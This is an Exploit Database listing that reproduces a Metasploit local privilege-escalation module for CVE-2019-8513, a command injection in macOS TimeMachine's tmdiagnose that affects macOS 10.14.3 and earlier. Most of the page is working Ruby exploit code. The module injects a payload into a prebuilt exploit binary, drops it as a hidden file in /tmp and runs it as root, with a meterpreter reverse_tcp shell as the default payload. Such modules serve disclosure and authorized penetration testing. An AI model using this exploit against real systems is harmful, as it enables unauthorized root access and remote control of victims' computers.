Mac OS X TimeMachine – ‘tmdiagnose’ Command Injection Privilege Escalation (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2019-07-02
• 类别：

  • local
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/47070/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',
  'Description' => %q{
  This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in
  order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers
  from a command injection vulnerability that can be exploited by creating a
  specially crafted disk label.
  
  The tmdiagnose binary uses awk to list every mounted volume, and composes
  shell commands based on the volume labels. By creating a volume label with the
  backtick character, we can have our own binary executed with root priviledges.
  },
  'License' => MSF_LICENSE,
  'Author'=> [
  'CodeColorist', # Discovery and exploit
  'timwr',# Metasploit module
  ],
  'References' => [
  ['CVE', '2019-8513'],
  ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
  ['URL', 'https://support.apple.com/en-in/HT209600'],
  ['URL', 'https://github.com/ChiChou/sploits'],
  ],
  'DefaultTarget'=> 0,
  'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
  'Targets'=> [
  [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
  [ 'Python payload',{ 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
  [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
  ],
  'DisclosureDate' => 'Apr 13 2019'))
  register_advanced_options [
  OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
  ]
  end
  
  def upload_executable_file(filepath, filedata)
  print_status("Uploading file: '#{filepath}'")
  write_file(filepath, filedata)
  chmod(filepath)
  register_file_for_cleanup(filepath)
  end
  
  def check
  version = Gem::Version.new(get_system_version)
  if version >= Gem::Version.new('10.14.4')
  CheckCode::Safe
  else
  CheckCode::Appears
  end
  end
  
  def exploit
  if check != CheckCode::Appears
  fail_with Failure::NotVulnerable, 'Target is not vulnerable'
  end
  
  if is_root?
  fail_with Failure::BadConfig, 'Session already has root privileges'
  end
  
  unless writable? datastore['WritableDir']
  fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
  end
  
  exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))
  if target['Arch'] == ARCH_X64
  root_cmd = payload.encoded
  else
  root_cmd = payload.raw
  if target['Arch'] == ARCH_PYTHON
  root_cmd = "echo \"#{root_cmd}\" | python"
  end
  root_cmd = "CMD:#{root_cmd}"
  end
  if root_cmd.length > 1024
  fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
  end
  
  placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
  exploit_data[placeholder_index, root_cmd.length] = root_cmd
  
  exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
  upload_executable_file(exploit_file, exploit_data)
  
  print_status("Executing exploit '#{exploit_file}'")
  result = cmd_exec(exploit_file)
  print_status("Exploit result:\n#{result}")
  end
  end